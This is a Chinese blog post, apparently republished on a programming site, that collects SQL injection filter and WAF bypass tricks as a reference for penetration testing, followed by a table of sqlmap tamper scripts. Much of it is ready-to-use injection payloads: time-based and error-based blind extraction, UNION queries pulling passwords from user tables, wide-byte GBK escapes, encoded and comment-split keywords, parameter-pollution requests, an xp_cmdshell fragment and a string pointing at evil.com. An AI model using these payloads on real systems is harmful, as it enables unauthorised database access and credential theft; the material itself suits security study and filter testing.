前言

今天斗胆来整理一下sql注入的各种绕过姿势,以后方便查阅。SQL注入的绕过技巧有很多,具体的绕过技巧需要看具体的环境,而且很多的绕过方法需要有一个实际的环境,最好是你在渗透测试的过程中遇到的环境,否则如果仅仅是自己凭空想,那显然是不靠谱的。

1.括号绕过空格

如果空格被过滤,括号没有被过滤,可以用括号绕过。

在MySQL中,括号是用来包围子查询的。因此,任何可以计算出结果的语句,都可以用括号包围起来。而括号的两端,可以没有多余的空格。

例如:

select(user())from dual where(1=1)and(2=2)

这种过滤方法常常用于time based盲注,例如:

?id=1%27and(sleep(ascii(mid(database()from(1)for(1)))=109))%23

(from for属于逗号绕过下面会有)

上面的方法既没有逗号也没有空格。猜解database()第一个字符ascii码是否为109,若是则加载延时。

2.引号绕过(使用十六进制)

会使用到引号的地方一般是在最后的where子句中。如下面的一条sql语句,这条语句就是一个简单的用来查选得到users表中所有字段的一条语句:

select column_name  from information_schema.tables where table_name="users"

这个时候如果引号被过滤了,那么上面的where子句就无法使用了。那么遇到这样的问题就要使用十六进制来处理这个问题了。
  users的十六进制的字符串是7573657273。那么最后的sql语句就变为了:

select column_name  from information_schema.tables where table_name=0x7573657273

3.逗号绕过(使用from或者offset)

在使用盲注的时候,需要使用到substr(),mid(),limit。这些子句方法都需要使用到逗号。对于substr()和mid()这两个方法可以使用from to的方式来解决:

select substr(database() from 1 for 1);
select mid(database() from 1 for 1);

使用join:

union select 1,2 #等价于
union select * from (select 1)a join (select 2)b

使用like:

select ascii(mid(user(),1,1))=80   #等价于
select user() like 'r%'

对于limit可以使用offset来绕过:

select * from news limit 0,1
# 等价于下面这条SQL语句
select * from news limit 1 offset 0

4.比较符号(<>)绕过(过滤了<>:sqlmap盲注经常使用<>,使用between的脚本)

使用greatest()、least():(前者返回最大值,后者返回最小值)

同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
  最常见的一个盲注的sql语句:

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,…)函数返回输入参数(n1,n2,n3,…)的最大值。
  那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

使用between and:

between a and b:between 1 and 1; 等价于 =1

5.or and xor not绕过

and=&&  or=||   xor=|   not=!

6.绕过注释符号(#,–(后面跟一个空格))过滤

id=1' union select 1,2,3||'1

最后的or '1闭合查询语句的最后的单引号,或者:

id=1' union select 1,2,'3

7.注释符

//
--%20
/**/
#
--+
-- -
%00
;

普通注释

z.com/index.php?page_id=-15 %55nION/**/%53ElecT 1,2,3,4'union%a0select pass from users#

/**/在构造的查询语句中插入注释规避对空格的依赖或关键字识别#、–+用于终结语句的查询

内联注释

相比普通注释内联注释用的更多/!content/只有MySQL会正常识别content的内容其他

index.php?page_id=-15 /!UNION/ /!SELECT/ 1,2,3?page_id=null%0A///!50000%
55nIOn//yoyu/all//%0A/!%53eLEct/%0A/nnaa/+1,2,3,4…

两个示例中前者使用内联注释后者还用到了普通注释。使用注释一个很有用的做法便是对关键字的拆分要做到这一点后面讨论的特殊符号也能实现当然前提是包括/、*在内的这些字符能正常使用

####8. 大小写绕过 ####
大小写绕过用于只针对小写或大写的关键字匹配技术正则表达式/express/i 匹配时大小写不敏感便无法绕过,这是最简单的绕过技术

?id=1 UnIon SeLeCt user()#

####9. 双写绕过 ####
waf将关键字替换为空,没有递归

?id=1 uniunionon seselectlect user()#

10.编码绕过

利用urlencode,ascii(char),hex,unicode等编码绕过

or 1=1即%6f%72%20%31%3d%31,而Test也可以为CHAR(101)+CHAR(97)+CHAR(115)+CHAR(116)。十六进制编码SELECT(extractvalue(0x3C613E61646D696E3C2F613E,0x2f61))双重编码绕过?id=1%252f%252a*/UNION%252f%252a /SELECT%252f%252a*/1,2,password%252f%252a*/FROM%252f%252a*/Users--+一些unicode编码举例:
单引号:'
%u0027 %u02b9 %u02bc
%u02c8 %u2032
%uff07 %c0%27
%c0%a7 %e0%80%a7
空白:
%u0020 %uff00
%c0%20 %c0%a0 %e0%80%a0
左括号(:
%u0028 %uff08
%c0%28 %c0%a8
%e0%80%a8
右括号):
%u0029 %uff09
%c0%29 %c0%a9
%e0%80%a9

11.like绕过

?id=1' or 1 like 1#
可以绕过对 = > 等过滤

####12. in绕过 ####
or ‘1’ IN (‘1234’)#
可以替代=

13.等价函数或变量

hex()、bin() ==> ascii()sleep() ==>benchmark()concat_ws()==>group_concat()mid()、substr() ==> substring()@@user ==> user()@@datadir ==> datadir()举例:substring()和substr()无法使用时:?id=1 and ascii(lower(mid((select pwd from users limit 1,1),1,1)))=74 或者:
substr((select 'password'),1,1) = 0x70
strcmp(left('password',1), 0x69) = 1
strcmp(left('password',1), 0x70) = 0
strcmp(left('password',1), 0x71) = -1

####14. 生僻函数 ####
MySQL/PostgreSQL支持XML函数:Select UpdateXML(‘ ’,’/script/@x/’,’src=//evil.com’);

?id=1 and 1=(updatexml(1,concat(0x3a,(select user())),1))SELECT xmlelement(name img,xmlattributes(1as src,'a\l\x65rt(1)'as \117n\x65rror)); //postgresql?id=1 and extractvalue(1, concat(0x5c, (select table_name from information_schema.tables limit 1)));and 1=(updatexml(1,concat(0x5c,(select user()),0x5c),1))and extractvalue(1, concat(0x5c, (select user()),0x5c))

15. 反引号绕过
反引号是个比较特别的字符,可利用在分隔符及注释作用,不过使用范围只于表名、数据库名、字段名、起别名这些场景

表名

payload:select * from `users` where user_id=1 limit 0,1;

可以正常执行的,这样使用还可以起到分隔符的作用,如下

eg:select * from`users`where user_id=1 limit 0,1;

起别名

payload:select user_id,user `111111` from users where user_id=1 limit 0,1;

反引号注释符原理

上面说了反引号的使用,下面来看看具体是怎么使用来进行绕过SQL检测的

主要用的就是起别名这个,这个运用范围比较窄

如果不闭合反引号,则后面的所有都会成为别名

eg:select 1,2 `111111 from users where user_id=1 limit 0,1;

相当于注释的作用的,不过运用条件比较苛刻

16 宽字节绕过
过滤 ’ 的时候往往利用的思路是将 ’ 转换为 ’ 。

在 mysql 中使用 GBK 编码的时候,会认为两个字符为一个汉字,一般有两种思路:

(1)%df 吃掉 \ 具体的方法是 urlencode(’) = %5c%27,我们在 %5c%27 前面添加 %df ,形成 %df%5c%27 ,而 mysql 在 GBK 编码方式的时候会将两个字节当做一个汉字,%df%5c 就是一个汉字,%27 作为一个单独的(’)符号在外面:

id=-1%df%27union select 1,user(),3--+

(2)将 ’ 中的 \ 过滤掉,例如可以构造 %**%5c%5c%27 ,后面的 %5c 会被前面的 %5c 注释掉。

一般产生宽字节注入的PHP函数:

1.replace():过滤 ’ \ ,将 ’ 转化为 ’ ,将 \ 转为 \,将 " 转为 " 。用思路一。

2.addslaches():返回在预定义字符之前添加反斜杠(\)的字符串。预定义字符:’ , " , \ 。用思路一

(防御此漏洞,要将 mysql_query 设置为 binary 的方式)

3.mysql_real_escape_string():转义下列字符:

\x00 \n \r \ ' " \x1a

(防御,将mysql设置为gbk即可)

*宽字节绕过只有php版本小于5.4的时候才可以

17.\N绕过

\N相当于NULL字符

select * from users where id=8E0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=8.0union select 1,2,3,4,5,6,7,8,9,0
select * from users where id=\Nunion select 1,2,3,4,5,6,7,8,9,0

18.特殊的绕过函数

18.1用greatest()绕过<>

mysql> select greatest(ascii(mid(user(),1,1)),150)=150;+------------------------------------------+
| greatest(ascii(mid(user(),1,1)),150)=150 |+------------------------------------------+
|1 |+------------------------------------------+

18.2使用mid()等逗号被过滤的情况

mid(user() from 1 for 1)substr(user() from 1 for 1)mysql> select ascii(substr(user() from 1 for 1)) < 150;+------------------------------------------+
| ascii(substr(user() from 1 for 1)) < 150 |+------------------------------------------+
|1 |+------------------------------------------+

####18.3. 内联注释绕过 ####
id=-1’/!UnIoN/ SeLeCT 1,2,concat(/!table_name/) FrOM /information_schema/.tables /!WHERE //!TaBlE_ScHeMa/ like database()#

18.4.or and xor not绕过

and=&&  or=||   xor=|   not=!

####18.5. PCRE绕过 ####
union/*’+'a’1000001+’/select

###19. php中常见的waf及绕过 ###
php过滤直接用preg_match(’/(’.waf.’)/i’,$id)

####19.1 过滤and or ####
waf = ‘and|or’
过滤代码 1 or 1=1 1 and 1=1
绕过方式 1 || 1=1 1 && 1=1
####19.2 过滤union ####
waf = ‘and|or|union’
过滤代码 union select user,password from users
绕过方式 1 && (select user from users where userid=1)=‘admin’
####19.3 过滤where ####
waf = ‘and|or|union|where’
过滤代码 1 && (select user from users where user_id = 1) = ‘admin’
绕过方式 1 && (select user from users limit 1) = ‘admin’
####19.4 过滤limit ####
waf = ‘and|or|union|where|limit’
过滤代码 1 && (select user from users limit 1) = ‘admin’
绕过方式 1 && (select user from users group by user_id having user_id = 1) = ‘admin’#user_id聚合中user_id为1的user为admin

19.5过滤group by

waf = 'and|or|union|where|limit|group by'
过滤代码 1 && (select user from users group by user_id having user_id = 1) = 'admin'
绕过方式 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1

####19.6 过滤select ####
waf = ‘and|or|union|where|limit|group by|select’
过滤代码 1 && (select substr(group_concat(user_id),1,1) user from users ) = 1
绕过方式 1 && substr(user,1,1) = ‘a’
####19.7 过滤’(单引号) ####
waf = ‘and|or|union|where|limit|group by|select|’’
过滤代码 1 && substr(user,1,1) = ‘a’
绕过方式 1 && user_id is not null1 && substr(user,1,1) = 0x611 && substr(user,1,1) = unhex(61)
####19.8 过滤hex ####
waf = ‘and|or|union|where|limit|group by|select|’|hex’
过滤代码 1 && substr(user,1,1) = unhex(61)
绕过方式 1 && substr(user,1,1) = lower(conv(11,10,16)) #十进制的11转化为十六进制,并小写。

19.9过滤substr

waf = 'and|or|union|where|limit|group by|select|\'|hex|substr'
过滤代码 1 && substr(user,1,1) = lower(conv(11,10,16)) 
绕过方式 1 && lpad(user(),1,1) in 'r'

####20. 关键字拆分 ####
‘se’+‘lec’+‘t’
%S%E%L%E%C%T 1
1.aspx?id=1;EXEC(‘ma’+‘ster…x’+‘p_cm’+‘dsh’+‘ell “net user”’)
!和()’ or --+2=- -!!!'2
id=1+(UnI)(oN)+(SeL)(EcT)

####21. HTTP参数控制 ####
这里HTTP参数控制除了对查询语句的参数进行篡改还包括HTTP方法、HTTP头的控制

HPP(HTTP Parameter Polution)

举例

/?id=1;select+1&id=2,3+from+users+where+id=1—
/?id=1//union/&id=/select/&id=/pwd/&id=/from/&id=/users

HPP又称做重复参数污染最简单的就是?uid=1&uid=2&uid=3对于这种情况不同的Web服务器处理方式不同。具体WAF如何处理要看其设置的规则

HPF(HTTP Parameter Fragment)

这种方法是HTTP分割注入同CRLF略有相似之处(使用控制字符%0a、%0d等换行)

举例

/?a=1+union/&b=/select+1,pass/&c=/from+users--
select * from table where a=1 union/* and b=/select 1,pass/ limit */from users—

看完上面两个示例发现和HPP最后一个示例很像不同之处在于参数不一样这里是在不同的参数之间进行分割结果到了数据库执行查询时再合并语句。

HPC(HTTP Parameter Contamination)

这一概念见于Beyond SQLi: Obfuscate and Bypass这里Contamination意为污染
RFC2396定义了如下一些字符

Unreserved: a-z, A-Z, 0-9 and _ . ! ~ * ' ()
Reserved : ; / ? : @ & = + $ ,
Unwise : { } | \ ^ [ ] `

不同的Web服务器处理处理构造得特殊请求时有不同的逻辑

####22. 比较符(<,>)绕过 ####
同样是在使用盲注的时候,在使用二分查找的时候需要使用到比较操作符来进行查找。如果无法使用比较操作符,那么就需要使用到greatest来进行绕过了。
最常见的一个盲注的sql语句。

select * from users where id=1 and ascii(substr(database(),0,1))>64

此时如果比较操作符被过滤,上面的盲注语句则无法使用,那么就可以使用greatest来代替比较操作符了。greatest(n1,n2,n3,等)函数返回输入参数(n1,n2,n3,等)的最大值。
那么上面的这条sql语句可以使用greatest变为如下的子句:

select * from users where id=1 and greatest(ascii(substr(database(),0,1)),64)=64

总结:使用greatest()绕过比较操作符

####23. 万能密钥绕过 ####
用经典的or 1=1判断绕过,如or ‘swords’ =’swords

sqlmap/tamper是官方给出的一些绕过脚本

序号	脚本名称	注释
1	0x2char	将每个编码后的字符转换为等价表达
2	apostrophemask	单引号替换为Utf8字符
3	apostrophenullencode	替换双引号为%00%27
4	appendnullbyte	有效代码后添加%00
5	base64encode	使用base64编码
6	between	比较符替换为between
7	bluecoat	空格替换为随机空白字符,等号替换为like
8	chardoubleencode	双url编码
9	charencode	将url编码
10	charunicodeencode	使用unicode编码
11	charunicodeescape	以指定的payload反向编码未编码的字符
12	commalesslimit	改变limit语句的写法
13	commalessmid	改变mid语句的写法
14	commentbeforeparentheses	在括号前加内联注释
15	concat2concatws	替换CONCAT为CONCAT_WS
16	equaltolike	等号替换为like
17	escapequotes	双引号替换为\\\\
18	greatest	大于号替换为greatest
19	halfversionedmorekeywords	在每个关键字前加注释
20	htmlencode	html编码所有非字母和数字的字符
21	ifnull2casewhenisnull	改变ifnull语句的写法
22	ifnull2ifisnull	替换ifnull为if(isnull(A))
23	informationschemacomment	标示符后添加注释
24	least	替换大于号为least
25	lowercase	全部替换为小写值
26	modsecurityversioned	空格替换为查询版本的注释
27	modsecurityzeroversioned	添加完整的查询版本的注释
28	multiplespaces	添加多个空格
29	nonrecursivereplacement	替换预定义的关键字
30	overlongutf8	将所有字符转义为utf8
31	overlongutf8more	以指定的payload转换所有字符
32	percentage	每个字符前添加%
33	plus2concat	将加号替换为concat函数
34	plus2fnconcat	将加号替换为ODBC函数{fn CONCAT()}
35	randomcase	字符大小写随机替换
36	randomcomments	/**/分割关键字
37	securesphere	添加某字符串
38	sp_password	追加sp_password字符串
39	space2comment	空格替换为/**/
40	space2dash	空格替换为–加随机字符
41	space2hash	空格替换为#加随机字符
42	space2morecomment	空格替换为/**_**/
43	space2morehash	空格替换为#加随机字符及换行符
44	space2mssqlblank	空格替换为其他空符号
45	space2mssqlhash	空格替换为%23%0A
46	space2mysqlblank	空格替换为其他空白符号
47	space2mysqldash	空格替换为–%0A
48	space2plus	空格替换为加号
49	space2randomblank	空格替换为备选字符集中的随机字符
50	symboliclogical	AND和OR替换为&&和||
51	unionalltounion	union all select替换为union select
52	unmagicquotes	宽字符绕过GPC
53	uppercase	全部替换为大写值
54	varnish	添加HTTP头
55	versionedkeywords	用注释封装每个非函数的关键字
56	versionedmorekeywords	使用注释绕过
57	xforwardedfor	添加伪造的HTTP头

未完,待续!

查看全文
如若内容造成侵权/违法违规/事实不符,请联系编程学习网邮箱:809451989@qq.com进行投诉反馈,一经查实,立即删除!

相关文章

  1. JavaScript的预解析

    JavaScriptJavaScriptJavaScript的预解析 对于JSJSJS代码&#xff0c;JSJSJS解释器会先进行预解析&#xff0c;然后再执行代码。 1.预解析会将所有varvarvar变量声明提升到作用域的最前面&#xff0c;&#xff08;没有赋值操作) 2.预解析会将所有varvarvar函数声明提升到作用…...

    2024/5/3 0:49:26
  2. tsp遗传算法

    #include<stdio.h> #include<stdlib.h> #include<string.h> #include<time.h> #include<math.h> #include<iostream> using namespace std; #define M 10 // 种群规模 #define N 31 // 省会、首府城市数量 #define T 10000 // 遗传代数 #…...

    2024/4/25 17:25:28
  3. 使用Flask写接口并部署到服务器上运行

    项目三大架构 逻辑架构&#xff08;业务架构&#xff09;–》思维导图&#xff08;整理用户故事&#xff09;技术架构&#xff08;前端 后端 数据库 缓存 消息队列 搜索引擎…&#xff09; 开发语言&#xff1a;python 框架&#xff1a;Django、物理架构&#xff08;如何部署项…...

    2024/5/2 12:12:02
  4. 图书管理系统(6)

    添加功能&#xff1a; DAL public static int add(Member mer){var sql $"insert into Member values({mer.M_name},{mer.M_tel},{mer.M_sex},{mer.M_address},{mer.M_tstart},{mer.M_tend})";int adap DB.zsg(sql);return adap;} 后台&#xff1a; protected vo…...

    2024/5/4 3:36:13
  5. VirtualBox linux虚拟机如何实现“桥接”上网

    虚拟机的所有操作都不会影响真实机&#xff0c;即使虚拟机崩溃或者中病毒&#xff0c;所以我们做的一些危险操作都可以在虚拟机中进行&#xff0c;那么如何让虚拟机能够访问网络了&#xff0c;今天就以centos系统为例&#xff0c;告诉大家如何通过最简单的方法访问网络&#xf…...

    2024/4/30 5:04:28
  6. 异步-CompletableFuture

    1.0 线程回顾 1.1 初始化线程的4中方式 继承Thread实现Runnable接口实现Callable 接口FutureTask (可以拿到返回结果,可以处理异常)线程池 通过线程池性能稳定&#xff0c;也可以获取执行结果&#xff0c;并捕获异常。但是&#xff0c;在业务复杂情况下&#xff0c;一个异步调…...

    2024/5/2 12:02:30
  7. LeetCode_925_长按键入

    题目链接 https://leetcode-cn.com/problems/long-pressed-name/ 解题思路 显然&#xff0c;字符串typed中的每个字符&#xff0c;只有两种可能 作为name的一部分&#xff0c;此时会匹配name中的一个字符作为长按键入的一部分。此时它应与前一个字符相同 如果typed中存在一个…...

    2024/4/13 21:29:32
  8. B. Multiply by 2, divide by 6(水题)Codeforces Round #653 (Div. 3)

    原题链接&#xff1a; https://codeforces.com/problemset/problem/1374/B 测试样例 Input 7 1 2 3 12 12345 15116544 387420489 Output 0 -1 2 -1 -1 12 36 Note 解释 15116544 这个样例 : 除以 6 得到 2519424;除以 6 得到 419904;除以 6 得到 69984;除以 6 得到 11664;乘以…...

    2024/4/27 18:25:56
  9. Java实习生面试基础(一)

    做为一个Java应届生来说&#xff0c;Java基础是至关重要的也是绝对会问道的问题。如果连这些基础都掌握你好的话&#xff0c;那我们面试通过的几率就微乎其微了。下面就让我们一起来复习一下Java基础吧&#xff01; 1、Java到底是什么东西&#xff1f; Java是一款面向对象的编…...

    2024/4/29 5:25:22
  10. Go语言实现UDP服务端和客户端

    Go语言实现UDP服务端和客户端UDP协议UDP服务端UDP客户端测试UDP服务端和客户端本文转载自 Go语言实现UDP通信UDP协议 UDP协议&#xff08;User Datagram Protocol&#xff09;中文名称是用户数据报协议&#xff0c;是OSI&#xff08;Open System Interconnection&#xff0c;开…...

    2024/4/30 20:43:03
  11. Go语言实现UDP通信

    Go语言实现UDP通信UDP协议UDP服务端UDP客户端测试UDP服务端和客户端本文转载自 Go语言实现UDP通信UDP协议 UDP协议&#xff08;User Datagram Protocol&#xff09;中文名称是用户数据报协议&#xff0c;是OSI&#xff08;Open System Interconnection&#xff0c;开放式系统互…...

    2024/4/21 16:18:12
  12. C语言理论

    一&#xff0c;数组与指针问题 数组名是一个指向数组首元素的指针常量&#xff0c;一经定义&#xff0c;不可更改&#xff0c;其内容是数组的地址即数组首元素地址&#xff0c;其地址是自身在内存中的地址&#xff1b;指针是指针变量&#xff0c;定义之后仍可更改&#xff0c;…...

    2024/4/12 20:55:26
  13. springboot和mybatis整合

    项目结构 pom.xml <dependency><groupId>org.springframework.boot</groupId><artifactId>spring-boot-starter-web</artifactId></dependency><dependency><groupId>org.springframework.boot</groupId><artifactI…...

    2024/4/16 13:34:58
  14. PHP中计算某时间周六日的方法

    需求 统计报表中的每周第一天&#xff0c;其实是从周日0点0分0秒到下一次周六的23:59:59。 示例 比如现在时间是2020/10/21&#xff0c;需要计算本周六的日期。代码如下&#xff1a; $now time(); $start date(Y/m/d 00:00:00,strtotime("Saturday -{$i} week"…...

    2024/4/25 0:42:08
  15. github突然访问不了怎么办?

    最近几天出了毛病了&#xff0c;github一直访问不上&#xff0c;找了很多帖子&#xff0c;最终找到一个靠谱的&#xff1a; https://jingyan.baidu.com/article/11c17a2cfb88d6f446e39d82.html 主要是要从如下两个网址找到对应的IP http://github.com.ipaddress.com/ http:/…...

    2024/5/2 1:51:37
  16. 恢复误删除的数据库数据-Oracle

    Oracle数据误删快速恢复 文章目录1、创建测试数据2、数据未提交【rollback回滚】3、数据已提交3.1、通过scn恢复数据3.2、通过时间恢复数据1、创建测试数据 --第一步创建测试表create table cctest1(id int,name varchar2(100),password varchar2(100)); --第二步插入数据inse…...

    2024/5/1 4:36:09
  17. 【Leetcode每日一题】925. 长按键入 (字符串比较)

    Leetcode每日一题 题目链接&#xff1a; 925. 长按键入 解题思路&#xff1a; 使用两个指针name_index 和 typed_index 分别对两个字符串进行遍历&#xff0c;分为以下三种情况&#xff1a; - 当前两个字符相同并且下一个字符也相同时&#xff0c;同时向后移动一个字符 - 当前…...

    2024/5/2 13:27:32
  18. pyqt5 给按钮设置图标和css样式

    设置图标 self.pushButton.setIcon(QIcon("sure.png")) 设置css样式 self.pushButton.setStyleSheet("QPushButton{color:black}" "QPushButton:hover{color:red}" "QPushButton{background-color:lightgreen}" "QPushButton{b…...

    2024/4/24 16:45:02
  19. spring和mybatis做查询表数据

    spring与mybatis的整合 简单使用java项目进行整合 1.导入spring和mybatis所需要的jar包和依赖包 2.创建用户实体类User package com.liu.www.entity;import java.util.Date;public class User {private int id;private String name;private Date birthday;private double sa…...

    2024/4/16 1:44:58
  20. 【LeetCode】二叉树的中序遍历 (DFS的递归与非递归)

    【LeetCode】二叉树的中序遍历 (DFS的递归与非递归) 给定一个二叉树&#xff0c;返回它的中序遍历。 示例&#xff1a; DFS的递归调用&#xff1a; dfs的递归调用需要注意递归函数中必要的形参以及递归的条件或终止条件&#xff01; List<Integer> l new LinkedList&l…...

    2024/4/6 6:24:57

最新文章

  1. Linux 麒麟系统安装

    国产麒麟系统官网地址&#xff1a; https://www.openkylin.top/downloads/ 下载该镜像后&#xff0c;使用VMware部署一个虚拟机&#xff1a; 完成虚拟机创建。点击&#xff1a;“开启此虚拟机” 选择“试用试用开放麒麟而不安装&#xff08;T&#xff09;”&#xff0c;进入op…...

    2024/5/4 9:24:12
  2. 梯度消失和梯度爆炸的一些处理方法

    在这里是记录一下梯度消失或梯度爆炸的一些处理技巧。全当学习总结了如有错误还请留言&#xff0c;在此感激不尽。 权重和梯度的更新公式如下&#xff1a; w w − η ⋅ ∇ w w w - \eta \cdot \nabla w ww−η⋅∇w 个人通俗的理解梯度消失就是网络模型在反向求导的时候出…...

    2024/3/20 10:50:27
  3. PHP+python高校教务处工作管理系统q535p

    开发语言&#xff1a;php 后端框架&#xff1a;Thinkphp/Laravel 前端框架&#xff1a;vue.js 服务器&#xff1a;apache 数据库&#xff1a;mysql 运行环境:phpstudy/wamp/xammp等 系统根据现有的管理模块进行开发和扩展&#xff0c;采用面向对象的开发的思想和结构化的开发方…...

    2024/5/1 13:22:30
  4. 电脑上音频太多,播放速度又不一致,如何批量调节音频播放速度?

    批量调节音频速度是现代音频处理中的一个重要环节&#xff0c;尤其在音乐制作、电影剪辑、有声书制作等领域&#xff0c;它能够帮助制作者快速高效地调整音频的播放速度&#xff0c;从而满足特定的制作需求。本文将详细介绍批量调节音频速度的方法、技巧和注意事项&#xff0c;…...

    2024/5/2 23:06:54
  5. 416. 分割等和子集问题(动态规划)

    题目 题解 class Solution:def canPartition(self, nums: List[int]) -> bool:# badcaseif not nums:return True# 不能被2整除if sum(nums) % 2 ! 0:return False# 状态定义&#xff1a;dp[i][j]表示当背包容量为j&#xff0c;用前i个物品是否正好可以将背包填满&#xff…...

    2024/5/3 11:50:27
  6. 【Java】ExcelWriter自适应宽度工具类(支持中文)

    工具类 import org.apache.poi.ss.usermodel.Cell; import org.apache.poi.ss.usermodel.CellType; import org.apache.poi.ss.usermodel.Row; import org.apache.poi.ss.usermodel.Sheet;/*** Excel工具类** author xiaoming* date 2023/11/17 10:40*/ public class ExcelUti…...

    2024/5/2 16:04:58
  7. Spring cloud负载均衡@LoadBalanced LoadBalancerClient

    LoadBalance vs Ribbon 由于Spring cloud2020之后移除了Ribbon&#xff0c;直接使用Spring Cloud LoadBalancer作为客户端负载均衡组件&#xff0c;我们讨论Spring负载均衡以Spring Cloud2020之后版本为主&#xff0c;学习Spring Cloud LoadBalance&#xff0c;暂不讨论Ribbon…...

    2024/5/2 23:55:17
  8. TSINGSEE青犀AI智能分析+视频监控工业园区周界安全防范方案

    一、背景需求分析 在工业产业园、化工园或生产制造园区中&#xff0c;周界防范意义重大&#xff0c;对园区的安全起到重要的作用。常规的安防方式是采用人员巡查&#xff0c;人力投入成本大而且效率低。周界一旦被破坏或入侵&#xff0c;会影响园区人员和资产安全&#xff0c;…...

    2024/5/3 16:00:51
  9. VB.net WebBrowser网页元素抓取分析方法

    在用WebBrowser编程实现网页操作自动化时&#xff0c;常要分析网页Html&#xff0c;例如网页在加载数据时&#xff0c;常会显示“系统处理中&#xff0c;请稍候..”&#xff0c;我们需要在数据加载完成后才能继续下一步操作&#xff0c;如何抓取这个信息的网页html元素变化&…...

    2024/5/3 11:10:49
  10. 【Objective-C】Objective-C汇总

    方法定义 参考&#xff1a;https://www.yiibai.com/objective_c/objective_c_functions.html Objective-C编程语言中方法定义的一般形式如下 - (return_type) method_name:( argumentType1 )argumentName1 joiningArgument2:( argumentType2 )argumentName2 ... joiningArgu…...

    2024/5/3 21:22:01
  11. 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】

    &#x1f468;‍&#x1f4bb;博客主页&#xff1a;花无缺 欢迎 点赞&#x1f44d; 收藏⭐ 留言&#x1f4dd; 加关注✅! 本文由 花无缺 原创 收录于专栏 【洛谷算法题】 文章目录 【洛谷算法题】P5713-洛谷团队系统【入门2分支结构】&#x1f30f;题目描述&#x1f30f;输入格…...

    2024/5/3 23:17:01
  12. 【ES6.0】- 扩展运算符(...)

    【ES6.0】- 扩展运算符... 文章目录 【ES6.0】- 扩展运算符...一、概述二、拷贝数组对象三、合并操作四、参数传递五、数组去重六、字符串转字符数组七、NodeList转数组八、解构变量九、打印日志十、总结 一、概述 **扩展运算符(...)**允许一个表达式在期望多个参数&#xff0…...

    2024/5/2 23:47:43
  13. 摩根看好的前智能硬件头部品牌双11交易数据极度异常!——是模式创新还是饮鸩止渴?

    文 | 螳螂观察 作者 | 李燃 双11狂欢已落下帷幕&#xff0c;各大品牌纷纷晒出优异的成绩单&#xff0c;摩根士丹利投资的智能硬件头部品牌凯迪仕也不例外。然而有爆料称&#xff0c;在自媒体平台发布霸榜各大榜单喜讯的凯迪仕智能锁&#xff0c;多个平台数据都表现出极度异常…...

    2024/5/3 13:26:06
  14. Go语言常用命令详解(二)

    文章目录 前言常用命令go bug示例参数说明 go doc示例参数说明 go env示例 go fix示例 go fmt示例 go generate示例 总结写在最后 前言 接着上一篇继续介绍Go语言的常用命令 常用命令 以下是一些常用的Go命令&#xff0c;这些命令可以帮助您在Go开发中进行编译、测试、运行和…...

    2024/5/3 1:55:15
  15. 用欧拉路径判断图同构推出reverse合法性:1116T4

    http://cplusoj.com/d/senior/p/SS231116D 假设我们要把 a a a 变成 b b b&#xff0c;我们在 a i a_i ai​ 和 a i 1 a_{i1} ai1​ 之间连边&#xff0c; b b b 同理&#xff0c;则 a a a 能变成 b b b 的充要条件是两图 A , B A,B A,B 同构。 必要性显然&#xff0…...

    2024/5/4 2:14:16
  16. 【NGINX--1】基础知识

    1、在 Debian/Ubuntu 上安装 NGINX 在 Debian 或 Ubuntu 机器上安装 NGINX 开源版。 更新已配置源的软件包信息&#xff0c;并安装一些有助于配置官方 NGINX 软件包仓库的软件包&#xff1a; apt-get update apt install -y curl gnupg2 ca-certificates lsb-release debian-…...

    2024/5/3 16:23:03
  17. Hive默认分割符、存储格式与数据压缩

    目录 1、Hive默认分割符2、Hive存储格式3、Hive数据压缩 1、Hive默认分割符 Hive创建表时指定的行受限&#xff08;ROW FORMAT&#xff09;配置标准HQL为&#xff1a; ... ROW FORMAT DELIMITED FIELDS TERMINATED BY \u0001 COLLECTION ITEMS TERMINATED BY , MAP KEYS TERMI…...

    2024/5/3 1:55:09
  18. 【论文阅读】MAG:一种用于航天器遥测数据中有效异常检测的新方法

    文章目录 摘要1 引言2 问题描述3 拟议框架4 所提出方法的细节A.数据预处理B.变量相关分析C.MAG模型D.异常分数 5 实验A.数据集和性能指标B.实验设置与平台C.结果和比较 6 结论 摘要 异常检测是保证航天器稳定性的关键。在航天器运行过程中&#xff0c;传感器和控制器产生大量周…...

    2024/5/2 8:37:00
  19. --max-old-space-size=8192报错

    vue项目运行时&#xff0c;如果经常运行慢&#xff0c;崩溃停止服务&#xff0c;报如下错误 FATAL ERROR: CALL_AND_RETRY_LAST Allocation failed - JavaScript heap out of memory 因为在 Node 中&#xff0c;通过JavaScript使用内存时只能使用部分内存&#xff08;64位系统&…...

    2024/5/3 14:57:24
  20. 基于深度学习的恶意软件检测

    恶意软件是指恶意软件犯罪者用来感染个人计算机或整个组织的网络的软件。 它利用目标系统漏洞&#xff0c;例如可以被劫持的合法软件&#xff08;例如浏览器或 Web 应用程序插件&#xff09;中的错误。 恶意软件渗透可能会造成灾难性的后果&#xff0c;包括数据被盗、勒索或网…...

    2024/5/2 9:47:25
  21. JS原型对象prototype

    让我简单的为大家介绍一下原型对象prototype吧&#xff01; 使用原型实现方法共享 1.构造函数通过原型分配的函数是所有对象所 共享的。 2.JavaScript 规定&#xff0c;每一个构造函数都有一个 prototype 属性&#xff0c;指向另一个对象&#xff0c;所以我们也称为原型对象…...

    2024/5/4 2:00:16
  22. C++中只能有一个实例的单例类

    C中只能有一个实例的单例类 前面讨论的 President 类很不错&#xff0c;但存在一个缺陷&#xff1a;无法禁止通过实例化多个对象来创建多名总统&#xff1a; President One, Two, Three; 由于复制构造函数是私有的&#xff0c;其中每个对象都是不可复制的&#xff0c;但您的目…...

    2024/5/3 22:03:11
  23. python django 小程序图书借阅源码

    开发工具&#xff1a; PyCharm&#xff0c;mysql5.7&#xff0c;微信开发者工具 技术说明&#xff1a; python django html 小程序 功能介绍&#xff1a; 用户端&#xff1a; 登录注册&#xff08;含授权登录&#xff09; 首页显示搜索图书&#xff0c;轮播图&#xff0…...

    2024/5/4 9:07:39
  24. 电子学会C/C++编程等级考试2022年03月(一级)真题解析

